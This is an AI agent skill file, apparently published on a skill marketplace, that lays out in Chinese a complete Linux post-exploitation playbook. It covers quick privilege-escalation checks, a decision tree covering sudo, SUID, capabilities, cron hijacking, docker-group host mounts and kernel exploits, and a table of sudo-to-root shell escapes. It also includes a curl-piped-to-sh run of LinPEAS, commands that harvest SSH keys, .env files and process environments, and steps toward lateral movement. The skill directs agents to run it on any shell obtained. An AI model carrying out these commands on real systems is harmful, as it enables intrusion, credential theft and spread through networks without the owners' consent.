# Post Exploit Linux

> Linux 后渗透全流程：信息收集→提权→凭据收集→横向准备。当通过 RCE/webshell/SSH 获取到 Linux shell 后使用。提权覆盖 sudo 滥用、SUID/SGID、Capabilities、Cron 劫持、PATH 劫持、Docker/LXD 组、NFS no_root_squash、可写 /etc/passwd、内核漏洞（DirtyPipe/PwnKit/DirtyCow）、组件提权。无论当前权限是 www-data 还是 root，都应先执行此方法论。任何拿到 Linux shell 后的操作——提权、找凭据、找 flag、准备横向移动——都从这个技能开始

- Skill: `wgpsec/post-exploit-linux` (Agent Skill, multi-file: 6 files)
- Install (CLI): `npx skillmds@latest add wgpsec/post-exploit-linux`
- Raw SKILL.md: https://api.skillmd.com/api/skills/wgpsec/post-exploit-linux/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: wgpsec (https://skillmd.com/u/wgpsec)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/wgpsec/post-exploit-linux

---


# Linux 后渗透 & 提权方法论

获取 shell 后的完整行动路线：信息收集 → 提权 → 凭据收集 → 敏感数据 → 横向准备。

## ⛔ 深入参考

内容按需加载——SKILL.md 给你决策树和快速命令，references 给你完整 payload：

- sudo/SUID/Capabilities/Cron 劫持的全部利用命令、GTFOBins 速查、环境变量劫持、sudo CVE → [references/privesc-techniques.md](references/privesc-techniques.md)
- Docker/LXD 组提权、NFS、内核漏洞（PwnKit/DirtyPipe/DirtyCow）、snap-confine 提权（CVE-2026-3888）、可写文件、进程凭据 → [references/advanced-privesc.md](references/advanced-privesc.md)
- 凭据收集完整路径（配置文件/历史记录/SSH 密钥/数据库/进程内存） → [references/credential-harvest.md](references/credential-harvest.md)

---

## Phase 0: 30 秒快速提权判断

刚拿到 shell 时跑这几条命令，快速判断有没有"秒提"的机会：

```bash
id && sudo -l 2>/dev/null                          # 身份 + sudo 权限（80% 的提权从这里开始）
find / -perm -4000 -type f 2>/dev/null | head -20   # SUID 文件
getcap -r / 2>/dev/null                              # Capabilities
ls -la /etc/passwd /etc/shadow 2>/dev/null           # 文件权限
```

**秒提信号**：
- `sudo -l` 有 `NOPASSWD` 条目 → 大概率能提（查 GTFOBins）
- 非标准 SUID 文件（不是 ping/su/sudo/mount 那些） → 很可能可利用
- `/etc/passwd` 可写 → 直接添加 root 用户

如果这里没有明显突破口，继续 Phase 1 做完整信息收集。

## Phase 1: 系统信息收集

```bash
# 身份与权限
id && whoami
uname -a && cat /etc/os-release      # 内核版本 + 发行版（匹配内核漏洞用）

# 网络
ip addr && ip route && ss -tlnp      # 接口、路由、监听端口
cat /etc/resolv.conf && arp -a && cat /etc/hosts

# 进程与环境
ps aux                                # 看有没有 root 运行的有趣进程
env | grep -iE 'pass|key|secret|token'  # 环境变量泄露
```

**关键判断**：
- 多网卡 = 可能是跳板（双网段 pivot）
- DNS 指向内网 IP = 域环境
- ARP 表大 = 活跃网段，值得扫描
- root 进程的命令行可能暴露密码/路径

## Phase 2: 提权决策树（按成功率排序）

```
当前权限？
├─ 已是 root → 跳到 Phase 3 凭据收集
└─ 非 root → 按顺序检查：
    │
    ├─ 1. sudo -l
    │   ├─ (ALL) NOPASSWD: ALL → sudo su（直接 root）
    │   ├─ 特定命令 → GTFOBins 查提权方法
    │   ├─ env_keep+=LD_PRELOAD → 共享库注入提权
    │   └─ 无 sudo → 下一步
    │
    ├─ 2. SUID 文件
    │   find / -perm -4000 -type f 2>/dev/null
    │   ├─ 非标准 SUID → GTFOBins / strings 分析 / PATH 劫持
    │   └─ pkexec → PwnKit (CVE-2021-4034)
    │
    ├─ 3. Capabilities
    │   getcap -r / 2>/dev/null
    │   └─ cap_setuid → python3/perl 提权
    │   └─ cap_dac_read_search → 读 /etc/shadow
    │
    ├─ 4. Cron 任务
    │   cat /etc/crontab && ls -la /etc/cron.d/
    │   ├─ root cron 执行可写脚本 → 替换脚本内容
    │   ├─ cron PATH 有你可写的目录 → 同名脚本劫持
    │   └─ cron 使用通配符（tar *）→ 参数注入
    │
    ├─ 5. 可写文件/目录
    │   ├─ /etc/passwd 可写 → 添加 root 用户
    │   ├─ /etc/shadow 可读 → john/hashcat 破解
    │   ├─ systemd .service 可写 → 改 ExecStart
    │   └─ root 进程的库/配置可写 → 劫持
    │
    ├─ 6. 特殊组
    │   ├─ docker 组 → docker run -v /:/host alpine chroot /host bash
    │   ├─ lxd/lxc 组 → 容器逃逸挂载宿主机
    │   ├─ disk 组 → debugfs 读任意文件
    │   └─ adm 组 → 读日志找凭据
    │
    ├─ 7. NFS
    │   cat /etc/exports → no_root_squash → 远程写 SUID 文件
    │
    └─ 8. 内核漏洞（最后手段，有崩溃风险）
        uname -r → 匹配 CVE
        PwnKit(所有pkexec) | DirtyPipe(5.8-5.16) | DirtyCow(2.6-4.8) | OverlayFS(Ubuntu)
        snap-confine+tmpfiles(Ubuntu>=24.04, CVE-2026-3888, 需等10-30天)
```

→ 各步骤的完整利用命令 → [references/privesc-techniques.md](references/privesc-techniques.md) + [references/advanced-privesc.md](references/advanced-privesc.md)

### sudo 提权 Top 10 速查

| 命令 | 提权方法 |
|------|----------|
| vim/vi | `:!/bin/bash` |
| find | `find / -exec /bin/bash \;` |
| python3 | `import os; os.system("/bin/bash")` |
| awk | `awk 'BEGIN {system("/bin/bash")}'` |
| env | `env /bin/bash` |
| less/more | `!/bin/bash` |
| tar | `--checkpoint-action=exec=/bin/bash` |
| nmap | `--interactive` → `!sh`（旧版）/ `--script` |
| bash/sh | 直接 `sudo bash` |
| systemctl/journalctl | 进入 pager → `!/bin/bash` |

完整列表查 [GTFOBins](https://gtfobins.github.io/)

### 自动化枚举

手动检查完没发现明显路径时，上自动化工具扫一遍——它们会检查更多边缘情况：

```bash
# LinPEAS（最全面，推荐）
curl -fsSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./linenum.sh -t

# linux-exploit-suggester（内核漏洞匹配）
./linux-exploit-suggester.sh
```

投递工具到目标的方法 → 加载 `tool-delivery` 技能

## Phase 3: 凭据收集

提权成功后（或即使没提权），尽可能收集凭据——这些凭据在横向移动中价值极大：

```bash
# Web 应用配置（数据库密码、API Key）
cat /var/www/html/config.php /var/www/html/.env /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# 历史记录（人类经常在命令行敲密码）
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'

# SSH 密钥（横向移动的金钥匙）
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /home/*/.ssh/

# 数据库凭据
cat /etc/mysql/debian.cnf 2>/dev/null

# 进程/环境中的凭据
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'
```

→ 更多凭据位置 → [references/credential-harvest.md](references/credential-harvest.md)

## Phase 4: 敏感数据搜索

```bash
# Flag（CTF/靶场）
find / -name "flag*" -o -name "proof*" 2>/dev/null
cat /root/flag.txt /home/*/flag.txt 2>/dev/null

# 备份/数据库/密钥文件
find / \( -name "*.bak" -o -name "*.sql" -o -name "*.key" -o -name "*.pem" \) 2>/dev/null
```

## Phase 5: 横向移动准备

```bash
ip route && arp -a && cat /etc/hosts     # 发现其他网段和主机
cat ~/.ssh/known_hosts 2>/dev/null       # SSH 连接过哪些机器
```

收集到的凭据 + 发现的网段 → 加载 `internal-recon` 技能做内网扫描 → 加载 `lateral-movement` 技能做横向移动

